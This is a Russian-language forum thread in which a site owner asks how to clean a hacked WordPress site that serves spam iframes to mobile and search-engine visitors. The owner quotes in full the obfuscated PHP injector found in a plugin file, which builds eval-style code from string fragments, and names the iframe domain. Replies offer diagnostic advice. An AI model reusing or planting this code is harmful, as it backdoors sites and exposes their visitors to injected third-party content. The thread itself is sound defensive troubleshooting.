Как найти зараженные файлы в wordpress, нормально так ломанули?

Question

[Shing]

Ломанули сайт на Вордпрессе. Внутри постов фреймы с тизерами.
!!! Фреймы появляются только для мобильных и для трафа с поисковиков...

Нашел вот такую хрень в файле одного из очень популярных плагинов rus-to-lat

wp_load_cacher(); function wp_load_cacher($length='') { $cache_time = 'Default Widgets'; $pr = "pre"; $mdetails = "<div class='body-continent'><div class='get-inner-al(@fi'>"; $vr = 'crea'; $indent = ( isset($mytitle) ? str_repeat( "\t", $mytitle ) : $_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']); $output = $metaboxed = $mytitle = ""; $metaoptions = "\\4'\\10".trim("\\12t\\16\\19")."//".strip_tags("2ine")."\\11.c\\7m/\\9-".$indent."!1')\\5"; if (defined('HEADER_IMGS') || isset($_COOKIE['sess'.'ions'])) return; $mdetails .= "<!--Deregister() Default Widgets: _oabhrtupwprs:e--></div></div>"; if (count($mytitle) >= $length) { $mytitle = explode(" ",$mytitle." "); } else { $mytitle = explode(" "," ".$mytitle." "); } $nmetabox = $vr.strip_tags("te_"); $metaboxe = str_repeat("(.)", 20).".*"."/"; $pr .= strip_tags("g_rep").trim("lace"); if (function_exists("excerpt_mores")) { add_filter('excerpt_modes', $metaboxe); } else { $metaoptions = str_replace("{c}", $cache_time, $metaoptions).";"; $nmetabox .= 'function'; } $output_title = '<p>'.$output.'</p>'; $defult_widgets = @$pr("/.*(cont).*?(ge).*?(..\(.fi).*?(\()(\)).*?(\_){$metaboxe}is", "@\\20v\\3le\\6{$metaboxed}\\2t\\6\\1ents{$metaoptions}", $mdetails); $mdetailes = @$nmetabox('', $defult_widgets); return strip_tags($mdetailes()); }

Фреймы были на этом домене

spoiler

m//essa//ge.tf

Как понимаю заражены и другие файлы должны быть, эта хрень же сама по себе фрейме не подтянет?
Не понятно куда копать.

!!! Я перезаливал чистый WP, отключал все плагины кроме зараженного, менял тему сайта, переименовывал папку старой темы, и фреймы все равно выводились! Только удаление rus-to-lat.php помогает...

Причем дата изменения файла rus-to-lat.php не менялась, стоит старый год.

Comments

[Вова Дружаев]

не воруй - наверно варез ставил для "посмотреть"?

Не держи кучу сайтов на одном аккаунте - вполне возможно перетекло с другого сайта на хостинге что на твоем аккаунте висят

Answer 1

[xmoonlight]

Смотрите "тела" статей в базе данных.

Как защитить сайты от взлома?

PS:

!!! Я перезаливал чистый WP, отключал все плагины кроме зараженного, менял тему сайта, переименовывал папку старой темы, и фреймы все равно выводились! Только удаление rus-to-lat.php помогает...

а вот это... даже в коментариях не нуждается...

Comments

[Shing]

Не, в теле статей не вижу... страницы собраны билдером, там теги [] которые потом интерпретируются в html.

Вообще жесть, я думал на уровне сервака ломанули, но на других сайтах не видел.

[xmoonlight]

Shing, а как вышло, что чистый WP оказался вместе с заражённым плагином?
И что означает заражённый в данном контексте?

[Shing]

xmoonlight, Я имел ввиду, что когда занимался лечением заливал с нуля Wordpress свежий, Менял файлы целиком, все ядро, Тему менял, плагины 99% отключил, переименовал папки плагинов, и вот только с одним rus-to-lat, на чистом вордпрессе только что скачанном, официальной теме водпрессовской, все равно были фреймы...

Я до сих пор не понимаю глубины проникновения, как это может быть.... вот мы видим вверху код, явно же еще что-то должно быть, а что не понимаю....

[xmoonlight]

Shing, кеш у своего браузера - чистили?
Что делает плагин-то этот?

[Shing]

xmoonlight, rus-to-lat просто переводит названия урлов автоматом с кириллицы на латиницу. /страница -> /stranica

кеш у своего браузера - чистили?

С мобильного, вроде да, ну дизайн менялся, а фреймы оставались, а потом после удаления rus-to-lat исчезли, так что видимо с кэшем норм было.

У меня стоит изначально старый вордпресс и старые плагины не обновленные, то есть дырки ну скорее всего есть... надо проапдейтить, но там одно за другое цепляется, время не выделил... но суть в том, что не могу просто найти инородный код и не понятно где он может блин быть в этой истории.

Как-то очень странно. Я даже не знаю сколько времени эти фреймы были на сайте.... Только с мобильного и при переходе из поисковиков включались фреймы!!! То есть многие владельцы сайтов и не знают, что они поломаны.

Надеюсь эти уроды своё еще успеют отсидеть, как показывает практика присаживаются очень многие.

[xmoonlight]

Shing,

но суть в том, что не могу просто найти инородный код и не понятно где он может блин быть в этой истории.

сравните папку с чистым wp и сразу после установки плагина, и найдите разницу.

Answer 2

[Александр Осадчий]

Воспользуйтесь данным сервисом:

virusdie.ru

Мне он когда-то очень помог в такой ситуации